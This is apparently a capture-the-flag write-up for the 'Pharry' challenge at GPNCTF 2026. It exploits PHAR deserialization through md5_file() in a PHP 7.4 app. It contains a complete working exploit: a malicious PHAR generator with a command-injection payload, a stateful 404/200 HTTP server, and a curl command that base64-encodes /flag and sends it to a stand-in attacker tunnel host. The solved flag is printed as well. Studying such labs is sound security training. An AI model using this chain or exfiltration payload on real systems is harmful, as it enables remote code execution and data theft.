webfreemedium

Pharry

gpnctf

Task: PHP 7.4 app with md5_file() on user-controlled path, User class with __destruct() calling system('rm ' . avatar_path). Solution: plant a malicious PHAR via stateful HTTP server (404→200 toggle), trigger phar:// deserialization through md5_file() to get RCE via __destruct gadget.

$ ls tags/ techniques/
phar_deserialization_via_md5_filedestruct_gadget_command_injectionstateful_http_server_404_200_togglephp74_phar_format_compatibilityoob_flag_exfiltration_via_curl

Pharry — GPNCTF 2026

Description

PHP7 was soo cooked...

A PHP 7.4 web application takes a path GET parameter and calls md5_file() on it. A User class with a dangerous __destruct() method provides a command injection gadget. The goal is to achieve RCE and read the flag from the server.

Analysis

Source Code (index.php)

<?php class User { public $avatar_path; public $name; public $password; function __construct($name, $password) { $this->name = $name; $this->password = $password; $this->avatar_path = "avatars/".$name.".png"; system("touch ".$this->avatar_path); } function __destruct() { system("rm ".$this->avatar_path); } } $file = $_GET['path']; $res = md5_file($file); if ($res == FALSE){ file_put_contents("/tmp/remote_file.jpg",file_get_contents($file)); $res = md5_file("/tmp/remote_file.jpg"); } if ($res == 0xdeadbeef){ echo "Congratulations! Here is not your flag: ".file_get_contents("flag.txt"); } else{ echo $res; } ?>

Vulnerability Chain

  1. PHAR Deserialization (PHP 7.x): The challenge title "Pharry" is a pun on PHAR. In PHP 7.x, md5_file() (and other file functions like file_exists, fopen, etc.) automatically deserialize PHAR metadata when called with the phar:// stream wrapper. This behavior was hardened/removed in PHP 8.0+. The flavor text "PHP7 was soo cooked" confirms the target runs PHP 7.

  2. Command Injection Gadget: User::__destruct() calls system("rm ".$this->avatar_path). By crafting a User object with avatar_path = "x; <malicious_command> #", we get arbitrary command execution when the object is garbage-collected after deserialization.

  3. File Plant Primitive: The FALSE branch writes remote content to /tmp/remote_file.jpg via file_get_contents(). This allows planting a malicious PHAR file on the server's filesystem at a known path.

  4. Red Herrings: The $res == 0xdeadbeef comparison (PHP type juggling with loose ==) and the flag.txt containing ASCII art are both decoys. The real flag is at /flag on the server.

The Stateful Server Problem

The key challenge is getting into the FALSE branch. md5_file() succeeds on http:// URLs (it fetches the content and returns its MD5 hash), so it never returns FALSE for a valid remote URL. Both md5_file() and file_get_contents() use the same PHP stream wrappers — there's no standard wrapper where one fails and the other succeeds.

Solution: A stateful HTTP server that returns 404 on the 1st request (causing md5_file to return FALSE) and 200 with PHAR bytes on the 2nd request (so file_get_contents succeeds and writes the PHAR to /tmp/remote_file.jpg). Within a single PHP request, md5_file() and file_get_contents() make separate HTTP requests to the same URL, allowing the server to respond differently.

Solution

Step 1: Generate Malicious PHAR with PHP 7.4

The PHAR must be generated with PHP 7.4 — PHP 8.x produces a subtly different manifest format that causes "truncated entry" errors on PHP 7.4 targets.

<?php // gen_phar.php — run with: docker run --rm -v "$(pwd):/work" -w /work php:7.4-cli php -d phar.readonly=0 gen_phar.php class User { public $avatar_path; public $name; public $password; } @unlink("exploit.phar"); $phar = new Phar("exploit.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->addFromString("test.txt", "test"); $o = new User(); $TUN = "https://ATTACKER_TUNNEL_URL"; $cmd = "curl -s $TUN/BEACON; D=\$( cat /flag* 2>/dev/null | base64 | tr -d \"\\n\"); curl -s $TUN/FLAG/\$D"; $o->avatar_path = "x; $cmd #"; $o->name = "x"; $o->password = "x"; $phar->setMetadata($o); $phar->setSignatureAlgorithm(Phar::SHA1); $phar->stopBuffering(); echo "phar created, size=".filesize("exploit.phar")."\n";

Build with Docker:

docker run --rm -v "$(pwd):/work" -w /work php:7.4-cli php -d phar.readonly=0 gen_phar.php

Step 2: Stateful HTTP Server (404→200 Toggle)

#!/usr/bin/env python3 # stateful_server.py — serves 404 on odd requests, 200+phar on even requests from http.server import HTTPServer, BaseHTTPRequestHandler import os request_count = {} class Handler(BaseHTTPRequestHandler): def do_GET(self): path = self.path count = request_count.get(path, 0) + 1 request_count[path] = count print(f"[{count}] {path}", flush=True) if path == "/phar": if count % 2 == 1: # odd requests -> 404 (for md5_file) self.send_response(404) self.end_headers() else: # even requests -> 200 + phar (for file_get_contents) data = open("exploit.phar", "rb").read() self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header("Content-Length", str(len(data))) self.end_headers() self.wfile.write(data) else: self.send_response(200) self.end_headers() def log_message(self, format, *args): pass print("Server on :8899", flush=True) HTTPServer(("0.0.0.0", 8899), Handler).serve_forever()

Expose via cloudflared tunnel:

cloudflared tunnel --url http://localhost:8899

Step 3: Plant the PHAR on the Server

GET /?path=https://TUNNEL_URL/phar

What happens inside PHP:

  1. md5_file("https://TUNNEL_URL/phar") → server returns 404md5_file returns FALSE
  2. Enters the FALSE branch → file_get_contents("https://TUNNEL_URL/phar") → server returns 200 + PHAR bytes
  3. file_put_contents("/tmp/remote_file.jpg", <phar_bytes>) → PHAR planted at known path
  4. md5_file("/tmp/remote_file.jpg") → returns MD5 hash of the PHAR (confirms successful write)

Step 4: Trigger PHAR Deserialization → RCE

GET /?path=phar:///tmp/remote_file.jpg/test.txt

What happens inside PHP 7.4:

  1. md5_file("phar:///tmp/remote_file.jpg/test.txt") → PHP 7.4 auto-deserializes PHAR metadata
  2. Creates User object with avatar_path = "x; curl ... #"
  3. Object is garbage-collected → __destruct() fires → system("rm x; curl -s TUNNEL/BEACON; D=$(cat /flag* | base64 | tr -d '\n'); curl -s TUNNEL/FLAG/$D #")
  4. Flag arrives at attacker's tunnel as a base64-encoded URL path segment

Step 5: Decode the Flag

The cloudflared tunnel logs show an incoming request like:

GET /FLAG/R1BOQ1RGe1dlQl9pNV9GT3JfdzNFOHNfQU5EX1NVY0s1X1BoUF9JU19Db29MXzdvdTZIfQ==
echo 'R1BOQ1RGe1dlQl9pNV9GT3JfdzNFOHNfQU5EX1NVY0s1X1BoUF9JU19Db29MXzdvdTZIfQ==' | base64 -d # GPNCTF{WeB_i5_FOr_w3E8s_AND_SUcK5_PhP_IS_CooL_7ou6H}

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups